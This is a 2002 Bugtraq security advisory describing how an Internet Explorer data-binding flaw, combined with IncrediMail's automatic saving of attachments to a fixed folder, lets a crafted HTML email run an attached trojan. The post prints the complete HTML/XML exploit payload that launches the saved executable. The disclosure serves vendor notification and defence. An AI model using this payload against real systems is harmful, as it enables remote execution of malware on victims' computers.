[24707] in bugtraq
MSIE vulnerability exploitable with IncrediMail
daemon@ATHENA.MIT.EDU (Eric Detoisien)
Fri Mar 15 17:47:42 2002
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Date: Fri, 15 Mar 2002 18:33:21 +0100
Message-ID: <F785777028C3E548A6B34A75A281A93501D746@dex01001.GLOBAL.ASP>
From: "Eric Detoisien" <eric.detoisien@global-secure.fr>
To: <support@incredimail.com>
Cc: <bugtraq@securityfocus.com>
Content-Transfer-Encoding: 8bit
Hi,
A Microsoft Internet Explorer vulnerability was found by GreyMagic
(http://security.greymagic.com/adv/gm001-ie/). With IncrediMail, it's
possible to gain a remote access on a computer.
Incredimail save automatically email attachements in this directory
(on Windows 2000 Professionnal) :
C:\Program Files\IncrediMail\Data\Identities\{42D00B20-479C-11d4-9706-00105A40931C}\Message Store\Attachments
So if you send an html email with the GreyMagic vulnerability and a
trojan in attachments, it will be save in this directory.
The html mail contains this code :
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:/Program Files/IncrediMail/Data/Identities/{42D00B20-479C-11d4-9706-00105A40931C}/Message Store/Attachments/trojan.exe"></object>
]]>
</exploit>
</security>
</xml>
So, the trojan is executed automatically.
Eric DETOISIEN
Consultant Sécurité
GLOBAL SECURE
Tel. : 01-44-70-48-02
Fax. : 01-44-70-48-49
Web : http://www.global-secure.fr
